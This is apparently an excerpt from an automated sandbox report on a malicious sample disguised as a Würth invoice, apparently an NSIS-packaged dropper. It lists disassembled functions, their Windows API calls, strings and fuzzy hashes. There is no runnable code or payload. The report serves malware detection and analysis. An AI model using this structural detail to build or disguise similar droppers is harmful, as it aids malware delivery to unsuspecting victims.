Function 3A5F6A18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f18d4a93ede90cce232cf27b8ae46e0f37e268057d7f1395cd3e33ff59fc1802
Instruction ID: 715ebbcf7dbea97b336dc492ccf56e4fad70d3b250068fe8b6737a8f7cf7282a
Opcode Fuzzy Hash: f18d4a93ede90cce232cf27b8ae46e0f37e268057d7f1395cd3e33ff59fc1802
Instruction Fuzzy Hash: 94C1B074E01218CFDB54DFA5C994B9DBBB2BF89300F2080A9D809AB765DB359E85CF50

Function 3A5F3008 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 458762d0b069c5547b3ca684b0f9f36b295345a9d7c4d1d34f7073eaa3029f9e
Instruction ID: 364f9b720fcb59699742583c8122ccc4bbdc6aa920e40c90a9b026d98fd89dd5
Opcode Fuzzy Hash: 458762d0b069c5547b3ca684b0f9f36b295345a9d7c4d1d34f7073eaa3029f9e
Instruction Fuzzy Hash: F6C1B074E00218CFDB54DFA5D984B9DBBB2BF89300F2080A9D809AB365DB359E85CF50

Function 3A5F6030 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4798e8a4e40bff8c7fe86853f0fe378ebaf7754ef3185453c7af626d5abd9dde
Instruction ID: a824c21267fc7957956542d89e8e720dd72549d293b7932818a1dab1dc2a9f65
Opcode Fuzzy Hash: 4798e8a4e40bff8c7fe86853f0fe378ebaf7754ef3185453c7af626d5abd9dde
Instruction Fuzzy Hash: F6C1C074E01218CFDB14DFA5C984B9DBBB2BF89300F2084A9D809AB765DB359E85CF50

Function 3A5F4620 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b8e60c17fe81b497687f49f869fe55759f26ced9a69a51933989ad1f52e496a
Instruction ID: 1d84628c8a8443e5e619fd8c7b088f90f7854733fa14b1579eb213d8980bf129
Opcode Fuzzy Hash: 0b8e60c17fe81b497687f49f869fe55759f26ced9a69a51933989ad1f52e496a
Instruction Fuzzy Hash: 2CC1B074E01218CFDB14DFA5D944B9DBBB2BF89301F2080AAD809AB365DB359E85CF50

Function 000DF974 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7e7de980598257ce085814ce3d7734605a915e34efedca08ed61655bfdcc5a8
Instruction ID: 9c441827cf3143d703688d2861272ae3588bed1cee4a0ee7648edbc53d347c04
Opcode Fuzzy Hash: c7e7de980598257ce085814ce3d7734605a915e34efedca08ed61655bfdcc5a8
Instruction Fuzzy Hash: 89C1A274E01218CFDB54DFA5D954BADBBB2BF89300F2080AAD809AB365DB355E85CF50

Function 39DB0673 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d857a1edde0c5babdb9822a9194b57b3636a14ed10e173ba491b9319d3ebb3
Instruction ID: 9796a514deb0da8104b587445a59c7d5709e343acc7997b0feaa57edb809ba14
Opcode Fuzzy Hash: 52d857a1edde0c5babdb9822a9194b57b3636a14ed10e173ba491b9319d3ebb3
Instruction Fuzzy Hash: EEA19C74A01228CFDB65DF64C954B9ABBB2BF4A301F5085EAD40EA7364DB319E81CF50

Function 39DB0853 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d17d8f09929b7e9465f5b7fb2a5758c3d5759cf0806e9e091833bf8b6e49d13
Instruction ID: 0aa335c55fbe46a98d0d9502fd35e360e5a907d9107da098248b0c8475b52675
Opcode Fuzzy Hash: 4d17d8f09929b7e9465f5b7fb2a5758c3d5759cf0806e9e091833bf8b6e49d13
Instruction Fuzzy Hash: 31518E74A01228CFDB65DF64C954BAAB7B2BF4A301F5085EAD40AB7364CB319E81CF50

Function 004052CB Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405329
GetDlgItem.USER32(?,000003EE), ref: 00405338
GetClientRect.USER32(?,?), ref: 00405375
GetSystemMetrics.USER32(00000002), ref: 0040537C
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040539D
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053AE
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053C1
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053CF
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053E2
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405404
ShowWindow.USER32(?,00000008), ref: 00405418
GetDlgItem.USER32(?,000003EC), ref: 00405439
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405449
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405462
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040546E
GetDlgItem.USER32(?,000003F8), ref: 00405347

Part of subcall function 00404126: SendMessageW.USER32(00000028,?,00000001,00403F52), ref: 00404134

GetDlgItem.USER32(?,000003EC), ref: 0040548B
CreateThread.KERNEL32(00000000,00000000,Function_0000525F,00000000), ref: 00405499
CloseHandle.KERNEL32(00000000), ref: 004054A0
ShowWindow.USER32(00000000), ref: 004054C4
ShowWindow.USER32(?,00000008), ref: 004054C9
ShowWindow.USER32(00000008), ref: 00405513
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405547
CreatePopupMenu.USER32 ref: 00405558
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040556C
GetWindowRect.USER32(?,?), ref: 0040558C
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055A5
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055DD
OpenClipboard.USER32(00000000), ref: 004055ED
EmptyClipboard.USER32 ref: 004055F3
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004055FF
GlobalLock.KERNEL32(00000000), ref: 00405609
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040561D
GlobalUnlock.KERNEL32(00000000), ref: 0040563D
SetClipboardData.USER32(0000000D,00000000), ref: 00405648
CloseClipboard.USER32 ref: 0040564E

Strings

{, xrefs: 00405531

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 74e11273cf0760d30ce867c02be1de6a2673de77c555102a75a6aed4fd11e771
Instruction ID: 0168b2d80d6e582db7c5dd4f4bcf68d2cf71ae59161b6f31601be7c89a1652ed
Opcode Fuzzy Hash: 74e11273cf0760d30ce867c02be1de6a2673de77c555102a75a6aed4fd11e771
Instruction Fuzzy Hash: 10B148B1800608FFDB119F64DD89EAF7B79FB49355F00802AFA41BA1A0CB785A51DF58

Function 00403C19 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C55
ShowWindow.USER32(?), ref: 00403C72
DestroyWindow.USER32 ref: 00403C86
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CA2
GetDlgItem.USER32(?,?), ref: 00403CC3
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CD7
IsWindowEnabled.USER32(00000000), ref: 00403CDE
GetDlgItem.USER32(?,00000001), ref: 00403D8C
GetDlgItem.USER32(?,00000002), ref: 00403D96
SetClassLongW.USER32(?,000000F2,?), ref: 00403DB0
SendMessageW.USER32(0000040F,00000000,00000001), ref: 00403E01
GetDlgItem.USER32(?,00000003), ref: 00403EA7
ShowWindow.USER32(00000000,?), ref: 00403EC8
EnableWindow.USER32(?,?), ref: 00403EDA
EnableWindow.USER32(?,?), ref: 00403EF5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F0B
EnableMenuItem.USER32(00000000), ref: 00403F12
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F2A
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F3D
lstrlenW.KERNEL32(007A1F20,?,007A1F20,007A7A20), ref: 00403F66
SetWindowTextW.USER32(?,007A1F20), ref: 00403F7A
ShowWindow.USER32(?,0000000A), ref: 004040AE

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: f5946bb5fcf3727f8c7c3e0b8503be54e85b503fbd3f71fd11317cd9bba75c89
Instruction ID: 7796c2fd8547987e4759cb33fe346f97dbca58780086dd76f853dd754902a95e
Opcode Fuzzy Hash: f5946bb5fcf3727f8c7c3e0b8503be54e85b503fbd3f71fd11317cd9bba75c89
Instruction Fuzzy Hash: 0AC1BFB2504204EFDB206F61EE45E2B7AA8EB86705F00853EF651B11F1CB3D9851DB5E

Function 0040428E Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040432C
GetDlgItem.USER32(?,000003E8), ref: 00404340
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040435D
GetSysColor.USER32(?), ref: 0040436E
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040437C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040438A
lstrlenW.KERNEL32(?), ref: 0040438F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040439C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043B1
GetDlgItem.USER32(?,0000040A), ref: 0040440A
SendMessageW.USER32(00000000), ref: 00404411
GetDlgItem.USER32(?,000003E8), ref: 0040443C
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040447F
LoadCursorW.USER32(00000000,00007F02), ref: 0040448D
SetCursor.USER32(00000000), ref: 00404490
ShellExecuteW.SHELL32(0000070B,open,007A69C0,00000000,00000000,00000001), ref: 004044A5
LoadCursorW.USER32(00000000,00007F00), ref: 004044B1
SetCursor.USER32(00000000), ref: 004044B4
SendMessageW.USER32(00000111,00000001,00000000), ref: 004044E3
SendMessageW.USER32(00000010,00000000,00000000), ref: 004044F5

Strings

open, xrefs: 0040449D
N, xrefs: 0040442A

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open
API String ID: 3615053054-904208323
Opcode ID: bf7b86e320e160068de3af8e5dcc98207056fefab5135ebfd09c3f8c41110aee
Instruction ID: 31243ed57e0a4603bfcb1190bd50a407b821413fbba6bd0e9f8b9eea7b04e413
Opcode Fuzzy Hash: bf7b86e320e160068de3af8e5dcc98207056fefab5135ebfd09c3f8c41110aee
Instruction Fuzzy Hash: 887170B1900209BFDB10DF64DD85A6A7B69FB84354F00843AFB05B66E1CB78AD51CF98

Function 00403876 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406407: GetModuleHandleA.KERNEL32(?,00000020,?,004032E6,00000009), ref: 00406419
Part of subcall function 00406407: GetProcAddress.KERNEL32(00000000,?), ref: 00406434

lstrcatW.KERNEL32(007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,75923420,007B5800,007B3000,00000000), ref: 004038F7
lstrlenW.KERNEL32(007A69C0,007B3800,?,?,007A69C0,00000000,007B3800,007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,75923420), ref: 00403977
lstrcmpiW.KERNEL32(007A69B8,.exe,007A69C0,007B3800,?,?,007A69C0,00000000,007B3800,007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 0040398A
GetFileAttributesW.KERNEL32(007A69C0), ref: 00403995
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,007B3800), ref: 004039DE

Part of subcall function 00405F74: wsprintfW.USER32 ref: 00405F81

RegisterClassW.USER32(007A79C0), ref: 00403A1B
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A33
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A68
ShowWindow.USER32(00000005), ref: 00403A9E
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403ACA
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403AD7
RegisterClassW.USER32(007A79C0), ref: 00403AE0
DialogBoxParamW.USER32(?,00000000,00403C19,00000000), ref: 00403AFF

Strings

_Nb, xrefs: 004039FA, 00403A62
RichEd20, xrefs: 00403AA4
RichEdit20W, xrefs: 00403AC2, 00403AC8
.DEFAULT\Control Panel\International, xrefs: 004038E2
.exe, xrefs: 00403984
Control Panel\Desktop\ResourceLocale, xrefs: 004038AA
RichEdit, xrefs: 00403AD1
RichEd32, xrefs: 00403AB2

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d1ee80853296fccc048fb7ebe7398b16dbc886b2d1b2d71fadfb1b9851163a2f
Instruction ID: 266f42dc912ac30c3170d4d572d87253d856dcd8cbc4d1b533e3310f3344062b
Opcode Fuzzy Hash: d1ee80853296fccc048fb7ebe7398b16dbc886b2d1b2d71fadfb1b9851163a2f
Instruction Fuzzy Hash: DA61A270200600AED620AF669D45F2B3A6CEBC5B49F40853FF941B62E2DB7D5901CB6D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,007A7A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 084c01015129f35d060607ba67430d3c2eb20d58b6f60067759f21b3cf07d9ee
Instruction ID: f1444d1149d995cfbeec1118d5879e63c7af2d267088fbf4af288243ceffc5ab
Opcode Fuzzy Hash: 084c01015129f35d060607ba67430d3c2eb20d58b6f60067759f21b3cf07d9ee
Instruction Fuzzy Hash: 70417C71800209AFCF058F95DE459AFBBB9FF45314F04842EF991AA1A0CB78DA54DFA4

Function 00405D5C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(007A55C0,NUL,00000000,00000000,?,?,00405EEF,?,?), ref: 00405D6B
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,?,00405EEF,?,?), ref: 00405D8F
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405D98

Part of subcall function 00405B67: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000), ref: 00405B77
Part of subcall function 00405B67: lstrlenA.KERNEL32(00000000,?,00000000,00405E48,00000000,[Rename],00000000,00000000,00000000), ref: 00405BA9

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405DB5
wsprintfA.USER32 ref: 00405DD3
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?), ref: 00405E0E
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405E1D
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405E55
SetFilePointer.KERNEL32(0040A558,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A558,00000000,[Rename],00000000,00000000,00000000), ref: 00405EAB
GlobalFree.KERNEL32(00000000), ref: 00405EBC
CloseHandle.KERNEL32(00000000), ref: 00405EC3

Part of subcall function 00405C02: GetFileAttributesW.KERNEL32(00000003,00402E2E,007B6800,80000000,00000003,?,?,007B3000,00403513,?), ref: 00405C06
Part of subcall function 00405C02: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,007B3000,00403513,?), ref: 00405C28

Strings

[Rename], xrefs: 00405E3D, 00405E4F
%ls=%ls, xrefs: 00405DC9
NUL, xrefs: 00405D65

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: af1b749e38d5a364b71664bd15662a93ccb1c14b3d9e393b90861f75d24a5164
Instruction ID: 4bbe9f86b8adcb3ee4fdb7780e986b6535a4f1249b773ec96b367cc427070a1a
Opcode Fuzzy Hash: af1b749e38d5a364b71664bd15662a93ccb1c14b3d9e393b90861f75d24a5164
Instruction Fuzzy Hash: 8A312770600F147BD2202B718D49F6B3E6CEF41759F14003ABA81F62D2DA7CEA018EAD

Function 0040327D Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 76comstringCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032A0
GetVersion.KERNEL32 ref: 004032A6
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004032CF
#17.COMCTL32(00000007,00000009), ref: 004032F2
OleInitialize.OLE32(00000000), ref: 004032F9
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 00403315
GetCommandLineW.KERNEL32(007A7A20,NSIS Error), ref: 0040332A
GetModuleHandleW.KERNEL32(00000000,007B3000,00000000), ref: 0040333D

Strings

NSIS Error, xrefs: 0040331B
UXTHEME, xrefs: 004032C3, 004032C8, 004032CE

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CommandErrorFileHandleInfoInitializeLineModeModuleVersionlstrlen
String ID: NSIS Error$UXTHEME
API String ID: 165832124-110662866
Opcode ID: 39b3a9f5ad0ac039a9ff7162e159cd2222a651d6c59ca196bc6a99020442cb50
Instruction ID: 381be3648b3d8567d79d737a82dd4c21e4e69d3af1c1c34abcb46aed9741d69b
Opcode Fuzzy Hash: 39b3a9f5ad0ac039a9ff7162e159cd2222a651d6c59ca196bc6a99020442cb50
Instruction Fuzzy Hash: 37218EB0500304AFD310BF61AE09B1B3EACAF40705F41843EF985B62D2DB7C59458B6E

Function 0040458C Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004045DB
SetWindowTextW.USER32(00000000,?), ref: 00404605
SHBrowseForFolderW.SHELL32(?), ref: 004046B6
CoTaskMemFree.OLE32(00000000), ref: 004046C1
lstrcmpiW.KERNEL32(007A69C0,007A1F20,00000000,?,?), ref: 004046F3
lstrcatW.KERNEL32(?,007A69C0), ref: 004046FF
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404711

Part of subcall function 00405756: GetDlgItemTextW.USER32(?,?,00000400,00404748), ref: 00405769

Part of subcall function 004062C1: CharNextW.USER32(?,*?|<>/":,00000000,00000000,75923420,007B5800,007B3000,00403258,007B5800,007B5800,004034A5), ref: 00406324
Part of subcall function 004062C1: CharNextW.USER32(?,?,?,00000000), ref: 00406333
Part of subcall function 004062C1: CharNextW.USER32(?,00000000,75923420,007B5800,007B3000,00403258,007B5800,007B5800,004034A5), ref: 00406338
Part of subcall function 004062C1: CharPrevW.USER32(?,?,75923420,007B5800,007B3000,00403258,007B5800,007B5800,004034A5), ref: 0040634B

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,?,00000001,0079FEF0,?,?,000003FB,?), ref: 004047D4
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047EF

Part of subcall function 00404948: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 004049E9
Part of subcall function 00404948: wsprintfW.USER32 ref: 004049F2
Part of subcall function 00404948: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404A05

Strings

A, xrefs: 004046AF

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 3f3834200cd22958c41385ee6ac2f51acc5f2999f9ff458ae6baf743bcffcbd5
Instruction ID: 4e2f864614c1a86ea7b1c44af5ac01a56564cfcb46a86a7d63bcc09a88bdc754
Opcode Fuzzy Hash: 3f3834200cd22958c41385ee6ac2f51acc5f2999f9ff458ae6baf743bcffcbd5
Instruction Fuzzy Hash: D0A19DF1900209ABDB11AFA5CC85AAF77B8EF85314F10843BF611B72D1DB7C89418B69

Function 0040604F Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,007A0F00,?,004051C3,007A0F00,?), ref: 00406112
GetSystemDirectoryW.KERNEL32(007A69C0,00000400), ref: 00406190
